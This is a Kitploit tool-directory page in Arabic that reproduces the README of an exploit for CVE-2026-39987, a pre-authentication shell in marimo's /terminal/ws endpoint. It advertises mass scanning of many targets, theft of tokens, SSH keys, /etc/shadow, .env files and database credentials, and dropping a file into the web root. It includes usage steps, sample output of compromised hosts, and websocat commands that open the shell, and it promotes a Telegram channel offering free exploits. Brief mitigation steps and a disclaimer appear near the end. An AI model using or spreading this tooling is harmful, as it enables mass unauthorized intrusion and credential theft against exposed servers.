Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-39987 — marimo هو دفتر ملاحظات Python تفاعلي. قبل الإصدار 0.23.0، يحتوي Marimo على ثغرة RCE قبل المصادقة. | Kitploit
أدوات/GitHubGitHub/nxploited/cve-2026-39987
تصعيد الامتيازاتالاستغلالاستغلال تطبيقات الويبجمع المعلوماتاختبار الاختراقالفريق الأحمرأداة الوصول عن بعد
GitHubnxploited/cve-2026-39987

CVE-2026-39987

marimo هو دفتر ملاحظات Python تفاعلي. قبل الإصدار 0.23.0، يحتوي Marimo على ثغرة RCE قبل المصادقة.

عرض المستودع
1منذ 4 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2026-39987

marimo هو دفتر ملاحظات Python تفاعلي. قبل الإصدار 0.23.0، يحتوي Marimo على ثغرة RCE قبل المصادقة

root@kitploit:~
   ___  _        ___     __  __  __  __      ___  __  __  _______
  / (_)(_|   |_// (_)   /  )/  \/  )/       /   \/  |/  |/  \   /
 |       |   |  \__       /|    | /| __       __/\_/|\_/|\__/  / 
 |       |   |  /   -----/ |    |/ |/  \-----   \   |   |/  \ /  
  \___/   \_/   \___/   /___\__//___\__/    \___/   |   |\__//   

CVE-2026-39987

Marimo /terminal/ws — RCE قبل المصادقة عبر WebSocket غير مصادق

ماسح جماعي · تعداد كامل · كشف ذكي


Python CVE Severity Type Platform License


المؤلف: Nxploited  ·  Telegram: @KNxploited


📢 انضم إلى قناة Telegram للحصول على أحدث الثغرات والاستغلالات المجانية:

🔗 Nxploited ZeroDay Hub — t.me/KNxploited


📖 نظرة عامة

CVE-2026-39987 هو ثغرة حرجة لتنفيذ التعليمات البرمجية عن بُعد قبل المصادقة تؤثر على Marimo، وهي منصة دفاتر ملاحظات Python تفاعلية مفتوحة المصدر.

نقطة نهاية WebSocket الطرفية /terminal/ws تفتقر تماماً إلى التحقق من المصادقة، مما يسمح لأي مهاجم بعيد غير مصادق بالحصول على قشرة PTY كاملة وتنفيذ أوامر نظام عشوائية بصلاحيات العملية الجارية — غالباً root داخل عمليات النشر المعتمدة على الحاويات.

على عكس نقاط نهاية WebSocket الأخرى مثل /ws، التي تستدعي بشكل صحيح validate_auth() قبل قبول الاتصالات، تتحقق نقطة النهاية /terminal/ws فقط من وضع التشغيل وتوافق المنصة، متجاوزةً المصادقة بالكامل.

✅ تم إصلاحه في: marimo >= 0.23.0 ❌ جميع الإصدارات السابقة لـ 0.23.0 معرضة للخطر


🔍 تفاصيل الثغرة

🧩 السبب الجذري

root@kitploit:~
/ws          →  calls validate_auth()  ✅  Authentication enforced
/terminal/ws →  skips validate_auth()  ❌  No authentication

يتحقق معالج /terminal/ws فقط من:

  1. ما إذا كان الخادم يعمل في الوضع الصحيح
  2. ما إذا كانت المنصة تدعم محاكاة الطرفية

لا يتحقق أبداً من رموز الجلسة أو ملفات تعريف الارتباط أو أي شكل من أشكال الهوية — مما يجعل كل مثيل Marimo مكشوفاً قشرةً مباشرة.


✨ الميزات

  • 🔥 ماسح شامل — فحص آلاف الأهداف بالتزامن مع مجموعات خيوط قابلة للتكوين
  • 🧠 كشف ذكي للبيئة — يكتشف تلقائياً: Marimo · cPanel/WHM · Plesk · Apache · Nginx · Docker · Node.js · تطبيقات Python
  • 🐚 وصول كامل لقشرة PTY — قشرة WebSocket غير مصادَقة مع محاكاة طرفية كاملة
  • 📓 تعداد الدفاتر — يكتشف ويقرأ بشكل متكرر جميع دفاتر Marimo .py
  • 🔑 حصاد الرموز — يستخرج رموز Marimo من وسائط CLI ومتغيرات البيئة وملفات السجلات
  • 🗄️ اكتشاف قواعد البيانات — يفحص تلقائياً MySQL · PostgreSQL · Redis · SQLite · DuckDB
  • 🔐 استخراج بيانات الاعتماد — ملفات .env · wp-config.php · مفاتيح SSH الخاصة · /etc/shadow
  • 📂 التحقق من قشرة الويب (Nx Drop) — يكتب ملف إثبات مفهوم إلى جذر الويب ويتحقق منه عبر HTTP
  • 📊 مخرجات منظمة لكل هدف — يحصل كل هدف على دليل مخرجات منظم خاص به
  • 🎨 واجهة طرفية غنية — واجهة احترافية ملوّنة مع لوحات وتتبع للتقدم وإحصائيات مباشرة

⚙️ المتطلبات

root@kitploit:~
Python 3.10 or higher

تثبيت التبعيات:

root@kitploit:~
pip install websockets rich requests urllib3

أو باستخدام ملف المتطلبات:

root@kitploit:~
pip install -r requirements.txt

requirements.txt

root@kitploit:~
websockets
rich
requests
urllib3

🚀 الاستخدام

الخطوة 1 — جهّز ملف الأهداف

أنشئ ملفاً باسم targets.txt مع هدف واحد في كل سطر. تقبل الأداة جميع التنسيقات:

root@kitploit:~
192.168.1.100
192.168.1.101:2718
10.10.10.50:2718
https://notebook.example.com
wss://secure.notebook.io
marimo.target.local:2718

التنسيقات المدعومة: IP مباشر · IP:منفذ · نطاق · نطاق:منفذ · http:// · https:// · ws:// · wss://


الخطوة 2 — تشغيل الماسح

root@kitploit:~
python3 CVE-2026-39987.py

الخطوة 3 — الإعداد التفاعلي

root@kitploit:~
  ▸ Targets file  (default: targets.txt) : targets.txt
  ▸ Threads       (default: 50)          : 100

نطاق الخيوط: 1–300. الموصى به: 50–150 حسب شبكتك.


🖥️ معاينة المخرجات

واجهة الطرفية

root@kitploit:~
  ╭──────────────────────────────────────────────────────────╮
  │ CVE-2026-39987  ·  Marimo WebSocket RCE                  │
  │ MASS SCANNER  ·  FULL ENUM  ·  SMART DETECT              │
  │ By: Nxploited  ·  github.com/Nxploited  ·  @KNxploited   │
  ╰──────────────────────────────────────────────────────────╯

  ══════════════ ws://192.168.1.100:2718/terminal/ws ══════════

  ╭────────────────────────────────────────╮
  │  ◈◈◈  ROOT ACCESS  ◈◈◈                │
  │  ws://192.168.1.100:2718               │
  │  uid ▸  uid=0(root)  groups=[root]     │
  ╰────────────────────────────────────────╯

  ──  ENVIRONMENT  ──────────────────────────────────────────
    ✦  Type                  MARIMO
    ◈  Docker                True
    ◈  Marimo version        0.22.1
    ◈  Notebook directory    /app/notebooks

  ──  MARIMO — NOTEBOOKS  ───────────────────────────────────
    ✦  Notebooks             7 found
       ·                     /app/notebooks/analysis.py
       ·                     /app/notebooks/data_pipeline.py
       ·                     /app/notebooks/etl_job.py

  ──  MARIMO — TOKENS  ──────────────────────────────────────
    ✦  Token CLI             secret-token-abc123xyz
    ✦  .marimo.toml          /root/.marimo.toml

  ──  /etc  SENSITIVE  ──────────────────────────────────────
    ✦  /etc/shadow           READABLE  [42 entries]
    ◈  /etc/passwd           [42 lines]
    ◈  /etc/crontab          [12 lines]

  ──  SSH KEYS  ─────────────────────────────────────────────
    ✦  /root/.ssh/id_rsa     FOUND
    ✦  /root/.ssh/id_ed25519 FOUND

  ──  DATABASES  ────────────────────────────────────────────
    ✦  MySQL                 DATABASES LISTED
    ✦  Redis                 PONG — NO AUTH
    ✦  DuckDB files          /app/notebooks/data.duckdb

  ──  SENSITIVE ENV VARS  ───────────────────────────────────
    ✦  DATABASE_URL          postgresql://admin:p4ss@db:5432/prod
    ✦  AWS_SECRET_ACCESS_KEY redacted...

  ──  NX FILE DROP  ──────────────────────────────��──────────
    ✦  Shell write           /app/notebooks/Nx.py
    ✦  HTTP access           http://192.168.1.100:2718/Nx.py

  ──  COMPLETE  ─────────────────────────────────────────────
    ◈  Saved to              nx_output/192.168.1.100_2718/

  ◦ 73/200  ROOT:5  PRIV:11  SHELL:18  FAIL:39  6.3/s

التقدم المباشر

root@kitploit:~
  ◦ 73/200  ROOT:5  PRIV:11  SHELL:18  FAIL:39  6.3/s

📁 بنية المخرجات

root@kitploit:~
nx_output/
│
├── summary.txt                    ← Master summary of all targets
├── curls.txt                      ← websocat one-liners for all shells
├── Nx.txt                         ← HTTP-confirmed file drops
│
└── 192.168.1.100_2718/            ← Per-target directory
    ├── summary.txt                ← Target summary & connect command
    ├── identity.txt               ← id · whoami · uname · hostname · shell
    ├── users.txt                  ← /etc/passwd · shadow · sudoers · last
    ├── ssh_keys.txt               ← Discovered SSH private keys & auth keys
    ├── etc_data.txt               ← /etc/hosts · resolv.conf · crontab · env
    ├── env_sensitive.txt          ← Filtered sensitive environment variables
    ├── databases.txt              ← MySQL · Redis · PostgreSQL · config files
    ├── app_configs.txt            ← .env · wp-config.php · settings.py · etc
    ├── notebooks.txt              ← Full content of all Marimo notebooks
    ├── marimo_toml.txt            ← .marimo.toml configuration files
    ├── marimo_tokens.txt          ← All extracted Marimo auth tokens
    ├── dotenv.txt                 ← .env / .env.local / .env.production
    ├── databases_marimo.txt       ← DuckDB · SQLite · DB URLs from notebooks
    ├── webserver_configs.txt      ← Apache/Nginx VirtualHosts & configs
    ├── network.txt                ← Interfaces · routes · open ports · iptables
    ├── processes.txt              ← ps aux · crontab · cron.d · systemd units
    ├── logs.txt                   ← auth.log · syslog · access.log · error.log
    ├── nx_file.txt                ← Nx drop path · web root · HTTP URL
    └── software.txt               ← PHP · Python · Node.js versions

📊 مستويات الوصول


🌍 البيئات المدعومة


🔌 الاتصال اليدوي

بمجرد تحديد هدف معرض للخطر، اتصل يدوياً باستخدام websocat:

root@kitploit:~
# Install websocat
cargo install websocat
# or: https://github.com/vi/websocat/releases

# Connect to shell
websocat "ws://TARGET:2718/terminal/ws" -H "Authorization: Bearer any-value"

# Connect over TLS
websocat "wss://TARGET/terminal/ws" -H "Authorization: Bearer any-value"

قيمة ترويسة Authorization غير ذات صلة — تقبل نقطة النهاية أي رمز أو عدم وجوده.


🛡️ التخفيف

إذا كنت تشغّل Marimo في بيئة إنتاج أو بيئة مكشوفة:

  1. قم بالترقية فوراً إلى marimo >= 0.23.0
  2. ضع Marimo خلف وكيل عكسي مصادق (Nginx + BasicAuth / وكيل OAuth2)
  3. اربط Marimo بـ 127.0.0.1 فقط — لا تعرّضه مباشرة للإنترنت أبداً
  4. استخدم قواعد جدار الحماية لتقييد الوصول إلى /terminal/ws
  5. دقّق في عمليات النشر لديك بحثاً عن مثيلات مكشوفة

⚠️ إخلاء مسؤولية

تُقدَّم هذه الأداة لأغراض تعليمية بحتة، واختبار الاختراق المصرح به، والبحث الأمني المشروع.

يجب أن تحصل على إذن كتابي صريح من مالك النظام قبل تشغيل هذه الأداة ضد أي هدف. الاستخدام غير المصرح به ضد أنظمة لا تملكها أو ليس لديك إذن لاختبارها غير قانوني وقد يؤدي إلى ملاحقة قانونية مدنية و/أو جنائية بموجب قوانين جرائم الكمبيوتر المعمول بها، بما في ذلك على سبيل المثال لا الحصر قانون الاحتيال وإساءة استخدام الكمبيوتر (CFAA)، وقانون إساءة استخدام الكمبيوتر، وتوجيهات الاتحاد الأوروبي المتعلقة بجرائم الإنترنت، والتشريعات المكافئة في ولايتك القضائية.

لا يتحمل المؤلف أي مسؤولية عن أي ضرر أو فقدان بيانات أو عواقب قانونية ناتجة عن إساءة استخدام هذه الأداة.

استخدمها بمسؤولية. اخترق بأخلاقية.


👤 المؤلف

تنزيل الأداة
الخاصيةالقيمة
CVE IDCVE-2026-39987
البرنامج المتأثرmarimo < 0.23.0
فئة الثغرةRCE قبل المصادقة عبر WebSocket غير مصادق
نقطة النهاية المتأثرة/terminal/ws
متجه الهجومالشبكة
المصادقة المطلوبة❌ لا شيء
تفاعل المستخدم❌ لا شيء
الخطورة🔴 حرجة
التأثيرقشرة PTY كاملة · تنفيذ أوامر عشوائية
الإصدار المُصحَّحmarimo 0.23.0
الأيقونةالمستوىالوصف
✦✦✦ 🟢ROOTuid=0 — وصول جذر كامل
✦✦ 🟡PRIVعضو في sudo · wheel · docker · disk · adm
✦ 🔵SHELLوصول قشرة بدون صلاحيات
✗ 🔴FAILرفض الاتصال · انتهاء المهلة · خطأ HTTP
البيئةاكتشاف تلقائيجمع متخصص
🟣 Marimo✅الدفاتر · الرموز · DuckDB · .marimo.toml · نقاط التحميل
🔵 cPanel / WHM✅userdomains · كلمة مرور MySQL · قائمة مستخدمي WHM
🟠 Plesk✅psa.shadow · الاستضافات الافتراضية · بيانات اعتماد مسؤول MySQL
🌐 Apache✅الاستضافات الافتراضية · sites-enabled · سجلات الوصول/الأخطاء
🟢 Nginx✅كتل الخادم · conf.d · سجلات الوصول/الأخطاء
🐍 تطبيق Python✅.env · settings.py · config.py · Pipfile
🟡 Node.js✅.env · package.json · الدليل العام
🐳 Docker✅نقاط تحميل Bind · اكتشاف التخزين المحلي للحاوية
⚙️ عام✅حزمة تعداد كاملة على البيئات غير المعروفة
الاسم الحركيNxploited
GitHubgithub.com/Nxploited
Telegram@KNxploited
القناةNxploited ZeroDay Hub


"كلما أصبحت أكثر هدوءاً، كلما تمكنت من سماع المزيد."


⭐ إذا كانت هذه الأداة مفيدة، امنح نجمة وانضم إلى القناة لمزيد من الثغرات! ⭐

🔗 t.me/KNxploited